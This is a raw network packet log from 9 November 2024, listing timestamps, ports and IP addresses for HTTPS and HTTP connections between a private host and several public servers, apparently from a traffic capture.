Nov 9, 2024 22:09:47.164962053 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.164994001 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:47.165038109 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.171654940 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:47.182161093 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.182228088 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.182564020 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.182929039 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.182954073 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.182996988 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.183003902 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.185890913 CET	49907	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.185928106 CET	443	49907	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.186156034 CET	49907	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.186450005 CET	49907	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.186465025 CET	443	49907	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.194994926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195041895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195055962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195081949 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.195113897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.195291996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195337057 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.195372105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195384026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195425034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.195492029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195504904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195543051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.195599079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.195866108 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.195990086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.196799994 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.211934090 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:47.234175920 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234194040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234208107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234246969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234286070 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234474897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234487057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234498978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234523058 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234546900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234599113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234611988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234628916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234641075 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234661102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234869957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234888077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234899044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234910011 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234910965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234922886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234930992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234935045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234946966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.234966040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.234997988 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.235389948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.235403061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.235434055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.235460043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236133099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236143112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236160994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236172915 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236182928 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236193895 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236197948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236211061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236213923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236223936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236232042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236234903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236247063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236248970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236265898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236268044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236275911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236299038 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236326933 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236848116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236859083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236871004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236885071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236896992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236896992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236907959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236915112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236926079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236938000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.236944914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236963987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.236994028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.276416063 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.276974916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.277043104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.277054071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.277062893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.277100086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.277107954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.278696060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.278744936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.278759956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.278809071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.301996946 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.302071095 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:47.303622961 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:47.303644896 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:47.308139086 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.308397055 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.308417082 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.309870005 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.309951067 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.310949087 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.311034918 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.311182976 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.311192036 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.311759949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.311791897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.311805010 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.311830044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.311857939 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.311866999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.311912060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.312416077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.312470913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.312475920 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.312483072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.312520981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.312629938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.312643051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.312689066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.335592031 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.336313963 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:47.336366892 CET	443	49891	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:47.336486101 CET	49891	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:47.350997925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351070881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351083994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351099014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.351124048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.351234913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351320028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.351366043 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351377964 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351423979 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.351593018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351603985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351613998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351625919 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351636887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.351639986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.351660013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.351681948 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.351991892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352008104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352037907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352057934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352116108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352125883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352137089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352164984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352186918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352190971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352205038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352216005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352247000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352704048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352720022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352730036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352741957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352752924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352754116 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352765083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352775097 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352776051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352787018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.352819920 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.352838993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.353488922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.353499889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.353511095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.353522062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.353533983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.353544950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.353555918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.353564978 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.353580952 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.353595972 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.354110956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354123116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354135036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354146957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354166031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354175091 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.354213953 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.354552984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354563951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354578018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.354598999 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.354618073 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.362803936 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.376883984 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.377110004 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.377244949 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.377270937 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.377540112 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.377613068 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.377639055 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.377664089 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.378113031 CET	49897	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.378129959 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.378834009 CET	49897	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.378843069 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.378861904 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.378866911 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.380333900 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.380417109 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.380537987 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.385159969 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.385592937 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.385610104 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.386040926 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.386046886 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.393742085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.393795967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.393807888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.393866062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.396049976 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.396542072 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.396560907 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.397032022 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.397037983 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.410943031 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.411174059 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.411329031 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.411350012 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.411534071 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.411556959 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.412405014 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.412489891 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.412507057 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.412581921 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.412638903 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.412929058 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.412993908 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.413184881 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.413197994 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.413501978 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.413593054 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.413639069 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.413666964 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.413676023 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.413783073 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.413799047 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.413970947 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.413980007 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.414247036 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.414309978 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.414606094 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.414670944 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.414743900 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.414752960 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.415026903 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.415102005 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.415407896 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.415471077 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.415508032 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.423332930 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.428533077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.428582907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.428590059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.428600073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.428628922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.428661108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.428697109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.429033041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.429043055 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.429090977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.429095984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.429101944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.429126024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.429141998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.429265976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.429281950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.429291010 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.429294109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.429306030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.429312944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.429316044 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.429348946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.430396080 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.430465937 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.430825949 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.430887938 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.430970907 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.450965881 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.450990915 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.451028109 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.451050997 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.451064110 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.451102972 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.451598883 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.451615095 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.451623917 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.451742887 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.451771975 CET	443	49890	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.451822042 CET	49890	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.456556082 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.456578016 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.456578970 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.456578970 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.456605911 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.467830896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.467849016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.467861891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.467892885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.467912912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.467920065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.467974901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.467986107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468028069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.468106031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468118906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468163013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.468357086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468373060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468384981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468396902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468409061 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.468411922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468429089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.468456030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.468777895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468791008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468802929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.468813896 CET	80	49813	185.215.113.206	192.168.2.5
